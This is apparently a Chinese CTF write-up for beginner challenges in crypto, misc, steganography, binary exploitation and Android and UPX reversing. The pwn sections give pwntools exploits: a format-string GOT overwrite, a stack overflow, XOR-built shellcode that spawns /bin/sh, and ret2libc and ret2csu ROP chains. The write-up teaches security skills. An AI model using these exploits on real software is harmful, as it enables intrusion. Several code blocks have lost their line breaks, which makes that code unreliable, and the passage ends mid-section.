c=48757373363225981717076130816529380470563968650367175499612268073517990636849798038662283440350470812898424299904371831068541394247432423751879457624606194334196130444478878533092854342610288522236409554286954091860638388043037601371807379269588474814290382239910358697485110591812060488786552463208464541069
p=7221289171488727827673517139597844534869368289455419695964957239047692699919030405800116133805855968123601433247022090070114331842771417566928809956044421
q=7221289171488727827673517139597844534869368289455419695964957239047692699919030405800116133805855968123601433247022090070114331842771417566928809956045093
assert p*q == n
phi = (p-1)*(q-1)
e = 65537
d = inverse(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))
Strange King
题目描述如下:
某喜欢抽锐刻 5 的皇帝想每天进步一些,直到他娶了个模,回到原点,全部白给😅 这是他最后留下的讯息:
ksjr{EcxvpdErSvcDgdgEzxqjql}
,flag 包裹的是可读的明文
不难猜到是魔改的凯撒密码。题目描述中的数字 5 就是初始偏移量。「每天进步一些」代表偏移量在递增,对 26 取模后会到原点,偏移量每次增加是 26 的因子,此处是 2.
况且出题人连 {}
都没删掉,把 ksjr
和 flag
对照起来看也能看出来了吧!可以说是非常简单的古典密码了)
根据以上信息即可解出 flag
python
def caesar(c, shift):result = ""for i in c:if i.isalpha():start = ord('A') if i.isupper() else ord('a')result += chr((ord(i) - start - shift) % 26 + start)else:result += ishift += 2return resultc = 'ksjr{EcxvpdErSvcDgdgEzxqjql}'
shift = 5flag = caesar(c, shift)
print("flag:", flag)
decompress
校内赛道
解压附件后,使用 7zip 等支持解压分卷压缩包的解压软件双击 flag.zip.001
解压即可。
如果你使用 010 Editor 等十六进制文件查看工具,你会发现分卷压缩包仅仅是把一整个压缩包文件按设置好的大小截断成一段段文件所以也可以使用 010 Editor 等软件手动把分卷压缩包拼起来再解压。
公开赛道
与校内赛道相比,多了一步爆破压缩包密码的过程。
根据给的正则表达式提示,密码是三位小写字母一位数字再加一位小写字母,共五位。爆破出来是 xtr4m
。
出题人使用的是不知道从哪下载的 passware,爆破了两分钟就出来了。
有些同学反映自己写脚本爆破不行,出题人用的压缩软件是 7zip,可能是因为每个压缩包分卷太小,7zip 为了防止 CRC 碰撞,压缩包里没有原始的 CRC 校验导致的。这确实是没考虑到的问题。
WhereIsFlag
在后续,大家会接触到很多拿到服务器 Shell 后找到 flag 的场景。本题主要考查了这部分知识,在各个常见位置设置了或真或假的 flag。并且介绍了 cd
ls
cat
等常用命令的基础用法。
其实这题的后端是个 Python 程序(嘛,都说了是 Virtual Linux 了啦)(喜欢椰奶精心设计的雌小鬼版 Linux 吗)
真正的 flag 在 /proc/self/environ
文件(可用于获取当前进程的环境变量)内,只要执行下面的命令就能拿到 flag.
shell
cat /proc/self/environ
proc
目录是对当前操作系统进程的虚拟映射,在许多攻击场景中都有妙用,在此不展开。
pleasingMusic
题目描述中提到:
一首歌可以好听到正反都好听
根据提示(其实也能听出来后半段音乐是倒放出来的)将音频进行反向处理实现倒放,再解析其中的摩斯电码(Morse Code)。
可以手动翻译摩斯电码表,也可以使用在线解码。
Labyirinth
题目描述如下:
听好了:9 月 23 日,NewStar2024 就此陷落。每抹陷落的色彩都将迎来一场漩涡,为题目带来全新的蜕变。
你所熟知的一切都将改变,你所熟悉的 flag 都将加诸隐写的历练。
至此,一锤定音。 尘埃,已然落定。
#newstar#
#LSB#
#听好了#
其中提到了 LSB,即最低有效位隐写
使用 StegSolve 工具,查看 RGB 任一 0 通道得到二维码,扫描得到 flag
兑换码
使用十六进制编辑器直接加大图片的 IHDR 高即可看到 flag
PNG 文件头具体可以参考下面介绍:
89 50 4E 47 0D 0A 1A 0A
代表 PNG 文件头49 48 44 52
代表 IHDR 头,IHDR 是 PNG 文件的图像头信息00 00 0A 6D
代表宽度为 A6D(2669)像素00 00 0C DE
代表高度为 CDE(3294)像素
注:PNG 规范规定 IHDR 的高度可以任意修改,但宽度不能随意修改。
EZ_fmt
查看 vuln
函数
很经典的格式化字符串,首先确定 offset 为 8
根据程序,我们有三次格式化字符串的机会
- 第一次泄露 libc
- 第二次改
printf
GOT 表地址为system
- 第三次输入为
sh
,构造出printf(buf)=system(sh)
即可
EXP 如下
python
from pwn import *
from ctypes import *
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']libc = ELF('./libc.so.6')
elf = ELF('./chal')
flag = 0
if flag:p = remote('ip', port)
else:p = process("./")def sa(s, n): return p.sendafter(s, n)
def sla(s, n): return p.sendlineafter(s, n)
def sl(s): return p.sendline(s)
def sd(s): return p.send(s)
def rc(n): return p.recv(n)
def ru(s): return p.recvuntil(s)
def ti(): return p.interactive()def leak(name, addr): return log.success(name+"--->"+hex(addr))sla(b': \n', b'%19$p')
ru(b'0x')
libc.address = int(rc(12), 16) - 0x29d90
leak("libc", libc.address)low = libc.sym['system'] & 0xff
high = (libc.sym['system'] >> 8) & 0xffff
payload = b'%' + str(low).encode() + b'c%12$hhn'
payload += b'%' + str(high - low).encode() + b'c%13$hn'
payload = payload.ljust(0x20, b'a')
payload += p64(elf.got['printf']) + p64(elf.got['printf']+1)sa(b': \n', payload)sla(b': \n', b' sh;')
# gdb.attach(p)
p.interactive()
Inverted World
题目分析
checksec 之后发现未开启 pie,开启了 Canary.
C
int __fastcall main(int argc, const char **argv, const char **envp)
{_BYTE buf[255]; // [rsp+0h] [rbp-110h] BYREF_BYTE v5[17]; // [rsp+FFh] [rbp-11h] BYREF*(_QWORD *)&v5[9] = __readfsqword(0x28u);init(argc, argv, envp);table();write(0, "root@AkyOI-VM:~# ", 0x12uLL);read(0, v5, 0x512uLL); // 这里实际是自定义的 _read 函数,实现和 read 函数相反方向的输入write(1, buf, 0x100uLL);puts(byte_402509);puts("??? What's wrong with the terminal?");return 0;
}
main
函数的 read
存在栈溢出,但是这个 read
函数是自定义的(源码中命名函数名为 _read
来实现的)。
_read
实现的是和正常 read
相反方向进行输入,我们这里输入的长度 0x512
明显大于 255,可以写到低地址的栈帧的东西,我们劫持位于低地址的 _read
函数的返回地址到 backdoor 中间的部分(因为劫持到开头过不了检测)。
反向输入 sh
即可执行 system("sh")
拿到 shell.
关于 Canary
因为是反向输入的,只要不多写东西就不会修改到 Canary,自然就不用故意绕过 Canary.
EXP
python
from pwn import*context.log_level='debug'
context(arch='amd64', os='linux')
context.terminal=['tmux', 'splitw', '-h']p=remote('???.???.???.???', ?????)payload=b'a'*0x100
p.sendline(payload+p64(0x040137C)[::-1])
p.sendlineafter("root@AkyOI-VM:~#", "hs")
p.sendline("cat flag")
p.interactive()
Bad Asm
程序过滤 syscall
/ sysenter
/ int 0x80
的汇编指令的机器码。
strcpy
限制了 shellcode 的机器码中不能出现 0x00
.
开启的可执行的段具有写的权限,用异或搓出来 syscall 的机器码之后用 mov
写入到 shellcode 后面,中间用 nop
连接一下就行了。
由于程序清空了 rsp
rbp
寄存器,我们需要恢复一下 rsp
的值,任意一个可读写的段即可,否则 push
操作会寄掉。
可以用异或先把 syscall 的机器码插入到当前 shellcode 的后面来执行 read
的 syscall,利用 read
在旧的 shellcode 后面插入 execve("/bin/sh", 0, 0)
的 shellcode,第二次输入的 payload 中 0x42
个 a
的作用是覆盖掉旧的 shellcode,毕竟执行过了也没用了。
恢复 rsp
的作用是为了能够正常执行 push
pop
指令,这里 push
pop
指令位于 shellcraft.sh()
生成的 shellcode 中 。否则其生成的 shellcode 无法正常执行。
python
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import *
from Crypto.Util.number import long_to_bytes, bytes_to_longcontext.log_level='debug'
context(arch='amd64', os='linux')
context.terminal=['tmux', 'splitw', '-h']ELFpath = './pwn'
p=remote('???.???.???.???', ?????)# p=process(ELFpath)
# gdb.attach(p)shellcode='''
; // 目标: 使用 syscall 执行 read(0, code, 0x3fff)
mov rsp, rdi
mov rax, rdi
add sp, 0x0848 ; // 从开头到这里的作用是给 rsp 一个合法值,使 push/pop 指令能够正常执行。同时设置 rax 的值方便后面往当前 shellcode 末尾拼接上 syscall 指令的机器码。mov rsi,rdi
mov dx, 0x3fff ; // 这两行作用是设置 rsi rdx 寄存器mov cx, 0x454f
xor cx, 0x4040 ; // 这两行作用是用异或搓出来 0f 05 (syscall 的机器码)
add al, 0x40
mov [rax], cx ; // rax原本指向的是当前段的开始位置,加上一个偏移,在之后指向的地方写入 0f 05,即 syscall,相当于拼接到当前 shellcode 后面。xor rdi, rdi
xor rax, rax ; // 设置 read 的系统调用号 0,设置 rdi 寄存器
'''
p.sendafter("Input your Code :", asm(shellcode).ljust(0x40, b'\x90')) # \x90是nop指令的机器码,用于连接上面的shellcode和写入的syscall,使程序能正常执行。pause()
p.send(b'a'*0x42+asm(shellcraft.sh())) # 0x42个a正好覆盖了syscall,之后拼接新的shellcode会继续执行本次写入的新的shellcode
p.interactive()
除了异或的方法,我们可以用另一种方法布置 syscall 的机器码。
题目检查 syscall 的时候采用的方法是检测相邻两个字节,所以我们可以将两个字节分别用一个汇编指令写入到内存中,比如用 mov
,这样我们就可以将其机器码 0xf 0x5
拆开,而不是连续的字节,这样也可以通过检查。
python
mov byte ptr [r8 + 0x17], 0xf
mov byte ptr [r8 + 0x18], 0x5
最后保证控制执行流执行到写入的 0f05
那里就行了。
下面的 EXP 中直接异或搓了一个 execve("/bin/sh", 0, 0)
,这样也是可以的。
python
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import *
from Crypto.Util.number import long_to_bytes, bytes_to_longcontext.log_level='debug'
context(arch='amd64', os='linux')
context.terminal=['tmux', 'splitw', '-h']ELFpath = './pwn'
p=remote('???.???.???.???', ?????)# p=process(ELFpath)
# gdb.attach(p)shellcode='''
; // 目标: 执行 execve("/bin/sh", 0, 0) 的 syscall
mov rsp, rdi
add sp, 0x0848 ; // 给 rsp 一个合法值,使程序能正常执行 push/pop,任意一个可读写段即可,我们这里刚好有rdi中存储的 shellcode 的段的起始位置,正好这个段有读写权限,就直接拿来在 0x848 偏移的位置当作栈顶了(加偏移是为了防止某些操作破坏写入的 shellcode)
mov rsi, 0x4028636f2e49226f
mov rdx, 0x4040104040204040
xor rsi, rdx
push rsi ; // 异或搓出来'/bin/sh\x00'(正好 8 字节,一个寄存器能存下) 并 push 到栈上面。此时 rsp 指向的即此字符串的开始位置mov ax, 0x454f
xor ax, 0x4040
mov rsi, rdi
add sil, 0x40
mov [rsi], ax ; // 搓出来 syscall 的机器码 0f 05 并且拼接到当前 shellcode 后面。mov rdi, rsp ; // 设置 rdi,指向之前 push 到栈上面的 '/bin/sh\x00'
xor rsi, rsi
xor rdx, rdx ; // 设置 rsi, rdx
xor rax, rax
mov al, 59 ; // 设置 execve 的系统调用号
'''
p.sendafter("Input your Code :", asm(shellcode).ljust(0x40, b'\x90'))
p.interactive()
除此之外,由于我们把栈放在可执行段上面了,我们可以直接异或整出来 syscall 的机器码然后 push 到栈上面,最后 jmp rsp
即可。由于这种方法我们并不依赖 nop
指令进行连接,在送 Payload 的时候可以去掉 ljust
了。
python
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import *
from Crypto.Util.number import long_to_bytes, bytes_to_longcontext.log_level='debug'
context(arch='amd64', os='linux')
context.terminal=['tmux', 'splitw', '-h']ELFpath = './pwn'
p=remote('???.???.???.???', ?????)# p=process(ELFpath)
# gdb.attach(p)shellcode='''
; // 目标: 执行 execve("/bin/sh", 0, 0) 的 syscall
mov rsp, rdi
add sp, 0x0848 ; // 给 rsp 一个合法值,使程序能正常执行 push/pop
mov rsi, 0x4028636f2e49226f
mov rdx, 0x4040104040204040
xor rsi, rdx
push rsi ; // 异或搓出来 '/bin/sh\x00' 并 push 到栈上面。此时 rsp 指向的即此字符串的开始位置mov rdi, rsp ; // 设置 rdi,指向之前push到栈上面的 '/bin/sh\x00'
xor rsi, rsi
xor rdx, rdx ; // 设置 rsi, rdx
xor rax, rax
mov al, 59 ; //设置 execve 的系统调用号mov cx, 0xf5ff
xor cx, 0xf0f0 ; // 异或拿到 syscall 的机器码
push rcx ; // push 到栈顶,rsp 此时指向的是 syscall 指令
jmp rsp
'''p.sendafter("Input your Code :", asm(shellcode))p.interactive()
在把 /bin/sh\x00
push 到栈上面的时候,我们为了清除最后的 0x00
,采用了异或的方法。除了这种方法外我们可以调整一下这个字符串,比如我们可以改为使用 /bin///sh
,shellcraft.sh()
生成的 shellcode 采用的就是这种方法。
按照这种方法更改的 shellcode,也是可以拿到 shell 的。
python
shellcode='''
; // 目标: 执行 execve("/bin///sh", 0, 0) 的 syscall
mov rsp, rdi
add sp, 0x0848 ; // 给rsp一个合法值,使程序能正常执行push/poppush 0x68
mov rax, 0x732f2f2f6e69622f
push rax ; // 将 '/bin///sh' push 到栈上面,最后一个字符 h 是第 6 行 push 的,高位默认填充为 0,此时就不用异或了mov rdi, rsp ; // 设置 rdi,指向之前 push 到栈上面的 '/bin/sh\x00'
xor rsi, rsi
xor rdx, rdx ; // 设置 rsi, rdx
xor rax, rax
mov al, 59 ; // 设置 execve 的系统调用号mov cx, 0xf5ff
xor cx, 0xf0f0 ; // 异或拿到 syscall 的机器码
push rcx ; // push 到栈顶,rsp 此时指向的是 syscall 指令
jmp rsp
'''
ez_game
明显的栈溢出且没有后门函数
再 checksec 一下,没有开启 pie
直接打 ret2libc(但是得进行栈对齐)
- 先通过 puts 泄露出 puts 地址,通过 puts 地址与 libc 基地址的偏移得到 libc 基地址,并返回
main
函数进行第二次溢出,实现 getshell - 构建
system("/bin/sh")
取 shell
提示
可以用 ret 地址进行栈对齐
EXP:
python
from pwn import *context(os='linux', arch='amd64', log_level='debug')ifremote = 0
if ifremote == 1:io = remote('0.0.0.0', 9999)
else:io = process('./attachment')elf = ELF('./attachment')
# libc=ELF("./libc-2.31.so")
libc = elf.libc# gdb.attach(io)
# pause()puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
ret_addr = 0x0000000000400509payload = b'a'*0x58+p64(0x0000000000400783)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.recvuntil(b'Welcome to NewStarCTF!!!!\n')
io.sendline(payload)
io.recvuntil(b'\x0a')
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
print("puts_addr======================>", hex(puts_addr))libc_base = puts_addr-libc.sym['puts']
system_addr = libc_base+libc.sym['system']
bin_sh_addr = libc_base+0x1b45bdpayload = b'a'*0x58+p64(0x0000000000400783)+p64(bin_sh_addr)+p64(ret_addr)+p64(system_addr)
io.recvuntil(b'Welcome to NewStarCTF!!!!\n')
io.send(payload)io.interactive()
My_GBC!!!!
先将程序拖入 IDA 分析
C
int __fastcall main(int argc, const char **argv, const char **envp)
{char buf[16]; // [rsp+0h] [rbp-10h] BYREFinitial(argc, argv, envp);write(1, "It's an encrypt machine.\nInput something: ", 0x2CuLL);len = read(0, buf, 0x500uLL);write(1, "Original: ", 0xBuLL);write(1, buf, len);write(1, "\n", 1uLL);encrypt(buf, (unsigned __int8)key, (unsigned int)len);write(1, "Encrypted: ", 0xCuLL);write(1, buf, len);write(1, "\n", 1uLL);return 0;
}
发现存在一个简单的栈溢出,并且输入的数据经过了某种加密处理,异或后左移
C
__int64 __fastcall encrypt(__int64 a1, char a2, int a3)
{__int64 result; // raxunsigned int i; // [rsp+1Ch] [rbp-4h]for ( i = 0; ; ++i ){result = i;if ( (int)i >= a3 )break;*(_BYTE *)((int)i + a1) ^= a2;*(_BYTE *)(a1 + (int)i) = __ROL1__(*(_BYTE *)((int)i + a1), 3);}return result;
}
运行程序后发现,栈溢出时,rdx
寄存器值为 1,而程序中能利用的函数 read
write
的三参都是长度,这对我们利用十分不利,因此我们选择 ret2csu
这是 csu 的代码片段,第一段代码能将 r12
r13
r14
分别 mov 到 rdi
rsi
rdx
,这样我们便能控制 rdx
,即控制函数的三参,并且后面还有 call [r15+rbx*8]
,能控制程序的走向;第二段代码则是一长串的 pop
,配合上述代码,即可达到 ROP,控制程序流程
需要注意的是,call
后面有 add rbx, 1;
cmp rbp, rbx;
jnz
...,我们需要控制 rbx = 0
rbp = 1
对于加密函数,异或和左移都是可逆运算,我们只需对我们输入的内容先右移后异或 0x5A
即可
python
#!/usr/bin/env python3
from pwn import *context(log_level='debug', arch='amd64', os='linux')
context.terminal = ["tmux", "splitw", "-h"]
def uu64(x): return u64(x.ljust(8, b'\x00'))
def s(x): return p.send(x)
def sa(x, y): return p.sendafter(x, y)
def sl(x): return p.sendline(x)
def sla(x, y): return p.sendlineafter(x, y)
def r(x): return p.recv(x)
def ru(x): return p.recvuntil(x)k = 1
if k:addr = ''host = addr.split(':')p = remote(host[0], host[1])
else:p = process('./My_GBC!!!!!')
elf = ELF('./My_GBC!!!!!')
libc = ELF('./libc.so.6')def debug():gdb.attach(p, 'b *0x401399\nc\n')def ror(val, n):return ((val >> n) | (val << (8 - n))) & 0xFFdef decrypt(data: bytes, key: int):decrypted_data = bytearray()for byte in data:byte = ror(byte, 3)byte ^= keydecrypted_data.append(byte)return decrypted_datadef csu_1(arg1, arg2, arg3, func=0, rbx=0, rbp=1):r12 = arg1r13 = arg2r14 = arg3r15 = funcpayload = p64(0x4013AA)payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)return payloaddef csu_2():payload = p64(0x401390)return payloadadd_rsp_8_ret = 0x401016
ret = 0x40101a
payload = b'a' * 0x18 + csu_1(1, elf.got.read, 0x100, elf.got.write) + csu_2()
payload += csu_1(0, 0x404090, 0x50, elf.got.read) + csu_2()
payload += csu_1(0, 0, 0, 0x404098) + csu_2() + p64(ret)
payload += csu_1(0x4040A0, 0, 0, 0x404090) + csu_2()
# debug()
ru(b'Input something:')
s(decrypt(payload, 90))libc_base = uu64(ru(b'\x7f')[-6:]) - libc.sym.read
success(f"libc_base --> 0x{libc_base:x}")payload = p64(libc_base + libc.sym.system + 0x0) + p64(add_rsp_8_ret) + b'/bin/sh\x00'
s(payload)p.interactive()
Pangbai 泰拉记(1)
函数表给了,方便做题
主函数是一个很简单的 flag 异或一个 key,但是在主函数前,有个前置函数,会对 key 进行修改
找到前置函数,可以对 key 按 X 进行交叉引用,或者直接在函数表表里找有个 main0
前置函数里写了两个很经典的反调试
逻辑是:当检测到你调试的时候,你的 key 会被异或替换成错误的 key,但是如果你正常运行,key 会被替换异或成正确的 key
-
解法 1:直接把反调试函数
nop
掉,不太推荐,对汇编不太熟悉的话会报错 -
解法 2:改跳转(推荐解法)
断到这里的时候,改
jz
为jnz
或者,改 ZF 寄存器,就可以跳到正确的 key,得到正确的 flag -
解法 3:装自动绕过反调试插件,小幽灵
得到正确的 flag 和 key,如果还没学到调试的话,其实看逻辑应该也可能解出这题
Ezencypt
打开 MainActivity 查看 Onclick 逻辑,Enc enc = new Enc(tx)
,加密逻辑在 Enc
Enc 的构造函数里进行了第一次加密,代码可以看出是 ECB 模式的 AES,密钥是 MainActivity 的 title.
doEncCheck
函数进行加密数据检查,有 native 标签说明函数是 C 语言编写的,主体在 so 文件。
IDA 打开 so 文件,找到 doEncCheck
的实现
发现数据经过 enc
函数的加密,再在循环里检验
enc` 里一个异或加密,一个 RC4,key是 `xork
思路全部清楚了,写解密脚本:
C
#include "stdio.h"
#include "string.h"char xork[] = "meow";
#define size 256unsigned char sbox[257] = {0};// 初始化 s 盒
void init_sbox(char *key) {unsigned int i, j, k;int tmp;for (i = 0; i < size; i++) {sbox[i] = i;}j = k = 0;for (i = 0; i < size; i++) {tmp = sbox[i];j = (j + tmp + key[k]) % size;sbox[i] = sbox[j];sbox[j] = tmp;if (++k >= strlen((char *)key)) k = 0;}
}// 加解密函数
void encc(char *key, char *data) {int i, j, k, R, tmp;init_sbox(key);j = k = 0;for (i = 0; i < strlen((char *)data); i++) {j = (j + 1) % size;k = (k + sbox[j]) % size;tmp = sbox[j];sbox[j] = sbox[k];sbox[k] = tmp;R = sbox[(sbox[j] + sbox[k]) % size];data[i] ^= R;}
}void enc(char *in) {int len = strlen(in);for (int i = 0; i < len; ++i) {in[i] ^= xork[i % 4];}encc(xork, in);
}int main() {unsigned char mm[] = {0xc2, 0x6c, 0x73, 0xf4, 0x3a, 0x45, 0x0e, 0xba, 0x47, 0x81, 0x2a,0x26, 0xf6, 0x79, 0x60, 0x78, 0xb3, 0x64, 0x6d, 0xdc, 0xc9, 0x04,0x32, 0x3b, 0x9f, 0x32, 0x95, 0x60, 0xee, 0x82, 0x97, 0xe7, 0xca,0x3d, 0xaa, 0x95, 0x76, 0xc5, 0x9b, 0x1d, 0x89, 0xdb, 0x98, 0x5d};enc(mm);for (size_t i = 0; i < 44; i++) {putchar(mm[i]);}puts("");
}
将 so 层解密后的数据(输出)用 CyberChef 进行 Base64 和 AES 解密就行了:Recipe.
UPX
脱壳
使用 IDA 查看文件,发现主函数很复杂。
这时根据文件的名称和提示,和 UPX 相关联。直接搜索 UPX,可以得知它是可执行程序文件压缩器,是一种压缩壳。在程序启动时先执行 UPX 的代码,把压缩后的原文件解压后,再把控制流转到原文件。然后这里可以使用 DIE 进行查看,特征也显示为 UPX.
因此可以采用工具尝试能不能直接脱壳,或者使用手动脱壳的办法进行脱壳。
因为这里没有进行更改,所以可以直接使用工具 https://github.com/upx/upx/releases/ 进行脱壳,然后发现文件的体积变大了。
再次使用 IDA 打开脱壳后的程序,发现主函数逻辑很清晰,反汇编的结果也很明确了。
分析
查看这里的 main
函数,发现提示很明确。这里首先通过 __isoc99_scanf
输入内容,利用 %22s
和后续 for 循环中的比较,也提示输入的 flag 长度是 22 字节。然后后面输入 s
和 key
经过了 RC4
的函数,然后把输入 s
和 data
进行比较。
直接搜索 RC4,查阅相关文章,可以得知它是一种流加密算法,它通过字节流的方式依次加密明文中的每一个字节,解密的时候也是依次对密文中的每一个字节进行解密。这里直接点击 RC4 函数,查看其内部是怎么实现的。
在下面可以看到 RC4 函数的实现,它实现调用 init_sbox
函数对于 a2
,也就是上面从 main
函数传入的 key
进行一系列处理,然后获取 a1
,也就是从 main
函数传入的输入 s
,然后在 for 循环中,循环遍历 a1
的每一位,然后使用一个异或进行处理。
因此我们可以理清楚这个程序的逻辑,我们首先进行了输入,然后程序将我们的输入和内置的密钥及进行 RC4 加密,然后将加密的结果和内置的数据进行比较,如果一样的话,说明我们的输入是正确的。
因此分别点击 main
函数中的 key
和 data
变量,找到了内置的密钥和比对密文,之后就可以写脚本获取 flag 了。
点击 key
一直进行寻找发现了密钥 NewStar
.
点击 data
发现这里没有值。
然后对 data
按 x
进行交叉引用,发现存在另外的函数也用到了 data
这个数据。
直接点击这个使用 data
数据的函数 before_main
中,可以发现这里对 data
进行了赋值操作。
这里再次交叉引用 before_main
函数,可以发现它在 .init_array
段被调用。这个段里存放着的是在 main
函数执行前执行的代码,可以搜索相关资料进一步掌握。这里只需要知道它是在 main
函数之前被调用的,那么它就是最后进行比对的密文,我们直接拿出来就行。
方法一
既然已经获取了密文和密钥,那么我们完全可以套用 RC4 的算法来解密。因为 RC4 是流密码,它的本质就是异或,而 a ^ b = c
,c ^ b = a
,由此可以直接把内置的密文作为输入,然后使用算法进行解密。
C
#include <stdio.h>
#include <string.h>unsigned char sbox[256] = {0};
const unsigned char* key = (const unsigned char*)"NewStar";
unsigned char data[22] = {-60, 96, -81, -71, -29, -1, 46, -101, -11, 16, 86,81, 110, -18, 95, 125, 125, 110, 43, -100, 117, -75};void swap(unsigned char* a, unsigned char* b) {unsigned char tmp = *a;*a = *b;*b = tmp;
}void init_sbox(const unsigned char key[]) {for (unsigned int i = 0; i < 256; i++) sbox[i] = i;unsigned int keyLen = strlen((const char*)key);unsigned char Ttable[256] = {0};for (int i = 0; i < 256; i++) Ttable[i] = key[i % keyLen];for (int j = 0, i = 0; i < 256; i++) {j = (j + sbox[i] + Ttable[i]) % 256;swap(&sbox[i], &sbox[j]);}
}void RC4(unsigned char* data, unsigned int dataLen, const unsigned char key[]) {unsigned char k, i = 0, j = 0, t;init_sbox(key);for (unsigned int h = 0; h < dataLen; h++) {i = (i + 1) % 256;j = (j + sbox[i]) % 256;swap(&sbox[i], &sbox[j]);t = (sbox[i] + sbox[j]) % 256;k = sbox[t];data[h] ^= k;}
}int main(void) {unsigned int dataLen = sizeof(data) / sizeof(data[0]);RC4(data, dataLen, key);for (unsigned int i = 0; i < dataLen; i++) {printf("%c", data[i]);}return 0;
}
方法二
上面是写代码进行解密,还可以直接在动调中把输入替换为密文,也可以进行解密。
首先在输入后和比对时按 F2 下断点。
然后进行动调,首先随便输入数据,然后程序在断点处停下(这里颜色改变了,说明断在这里了),输入 s
也显示我们输入的数据。
然后先点击 data,找到 data 数据。然后使用 sheift + e
直接取出 data 的相关数据。
然后可以先找到输入 s
的起始地址(0x56201B813040
需要你自己动调时的地址),然后使用 shift + F2
调出 IDAPython
脚本窗口,然后使用 python 脚本进行修改,最后点击 Run 进行执行。然后可以发现左侧的输入 s
数据改变了。
python
from ida_bytes import *
# addr = 0x56201B813040 # 这里需要填写自己动调时得到的地址
enc = [0xC4, 0x60, 0xAF, 0xB9, 0xE3, 0xFF, 0x2E, 0x9B, 0xF5, 0x10,0x56, 0x51, 0x6E, 0xEE, 0x5F, 0x7D, 0x7D, 0x6E, 0x2B, 0x9C,0x75, 0xB5]
for i in range(22):patch_byte(addr + i, enc[i])
print('Done')
或者可以手动 右键 » Patching » Change byte 进行修改。
修改完之后,使用快捷键 F9 让程序直接运行,然后它会断在我们之前下的第二个断点处。
这时再看我们的输入 s
,会发现它经过 RC4 的再次加密(其实是解密,因为 RC4 是流密码,加密解密的流程一摸一样),呈现出来了 flag.
这里按 a
就可以转化为字符串的形式,这个就是最后的 flag 了。
方法三
上面可以知道 RC4 流密码的最后一步就是异或了,那么我们可以在动调的过程中,把这个异或的值拿出来,然后直接把密文和这个异或的数据进行异或即可。
这里先找到 RC4 的加密函数处,在这个最后一步的异或处按 Tab 转化为汇编窗格形式。
然后在这个汇编的异或处下断点。下面展示了两种汇编代码的视图方式,可以按空格进行相互转换。
这里不知道两个参数 al
和 [rbp+var_9]
分别代表什么,因此我们可以先直接动调,断在这里的时候再去看看数值。这里动调需要注意,因为 RC4 根据输入的字符个数进行逐个加密的,所以我们需要输入和密文长度相等的字符长度,也就是 22 个字符才可以获得完整的异或值。
这里发现 al
存储的就是我们的输入数据(我这里输入 22 个字符 a
,它的十六进制就是 0x61
),然后由此可以知道 [rbp+var_9]
存储的就是需要异或的值。因为它经过了22次循环,所以每次异或的值都可能不一样,但是都只在一个函数中,rbp
的值应该不变,所以可以直接使用条件断点的方式,把 [rbp+var_9]
中的值取出来,或者也可以在下面的 mov [rdx], al
中下条件断点,把异或后的 al
值提取出来
对于在 [rbp+var_9]
下条件断点,首先寻找这个数据的地址。点击进去可以发现数据存储在栈上,当前的数据为 0xA2
.
然后回来,在断点处 右键 » Edit breakpoint,然后点击三个点就可调出 IDAPython 的窗口,然后我这里使用 Python 脚本,所以在下面选择语言为 Python.
然后在 Script 中写入 IDAPython 脚本,点击左右两边的 OK 即可。
python
import ida_bytes
# addr = 0x7FFE7DB58887 # 这里也是一样,需要自己动调找相应的地址
print(get_byte(addr), end=',')
(可以忽略的一步)最后在下面 retn 中下断点,防止 for 循环结束后直接退出,这一步没有太大的必要,只是方便后续的数据查看。
然后最为关键的就是在下面 Output 栏中打印的数据了,可以看到打印出了每次异或的值,但是因为断点的时候第一数据已经运行到了,所以没有第一个数据,但是我们之前查看 [rbp+var_9]
的时候观察到了,所以自己把这个 0xA2
给加上即可。
然后直接把之前获得的密文和这个数据进行异或即可。
python
xor_data = [0xa2, 12, 206, 222, 152, 187, 65, 196, 140,127, 35, 14, 5, 128, 48, 10, 34, 59, 123, 196, 74, 200]
enc = [0xC4, 0x60, 0xAF, 0xB9, 0xE3, 0xFF, 0x2E, 0x9B, 0xF5, 0x10,0x56, 0x51, 0x6E, 0xEE, 0x5F, 0x7D, 0x7D, 0x6E, 0x2B, 0x9C,0x75, 0xB5]
for i in range(len(enc)):enc[i] ^= xor_data[i]
print(''.join(chr(e) for e in enc))
这里我们还可以在下一条语句 mov [rdx], al
中下条件断点
python
import idc
al = idc.get_reg_value("rax")
print(al, end=',')
然后得到了假数据经过异或后的数据,然后我们可以利用异或的特性获得 flag.
python
input_data = 'aaaaaaaaaaaaaaaaaaaaaa'
after_xor = [195, 109, 175, 191, 249, 218, 32, 165, 237, 30,66, 111, 100, 225, 81, 107, 67, 90, 26, 165, 43, 169]
enc = [0xC4, 0x60, 0xAF, 0xB9, 0xE3, 0xFF, 0x2E, 0x9B, 0xF5, 0x10,0x56, 0x51, 0x6E, 0xEE, 0x5F, 0x7D, 0x7D, 0x6E, 0x2B, 0x9C,0x75, 0xB5]
for i in range(len(enc)):enc[i] ^= after_xor[i] ^ ord(input_data[i])
print(''.join(chr(e) for e in enc))
方法四
这里观察主函数,发现存在 exit
函数,它的功能就是关闭所有文件,终止正在执行的进程,中间的status 参数就是退出码,可以通过 echo $?
来进行获取。
然后观察 status
就是循环的下标,因此可以知道它是单字节判断的,若是某个字节判断错了就直接退出,同时返回第几个字节判断错了。由此根据退出码,我们可以直接进行爆破处理。
这里就是进行爆破的代码,tqdm
只是为了直观显示,可以删去相关代码。
python
from pwn import *
from tqdm import tqdm
context(arch='amd64', os='linux', log_level="error")str = string.printable
flag = b"a"*22
tmp = 0for i in tqdm(range(len(flag))):for j in str.encode():p = process("./upx")new_flag = flag[:i] + chr(j).encode() + flag[i+1:]p.sendafter(b"input your flag:\n", new_flag)p.wait()exit_code = p.poll()p.close()# 判断退出码是否变化,最后 flag 正确是退出码为 0(return 0),所以需要另外处理if exit_code > tmp or (exit_code == 0 and tmp != 0):flag = new_flagtmp = exit_codebreak
print(f"[*] Successfully get the flag : {flag}")
然后爆破一分钟左右就跑出结果了。
Ptrace
首先查看 father
文件,可以看到使用了 fork
创建了子进程,这里返回的 pid
就是 v11
. v11 > 0
为父进程,v11 = 0
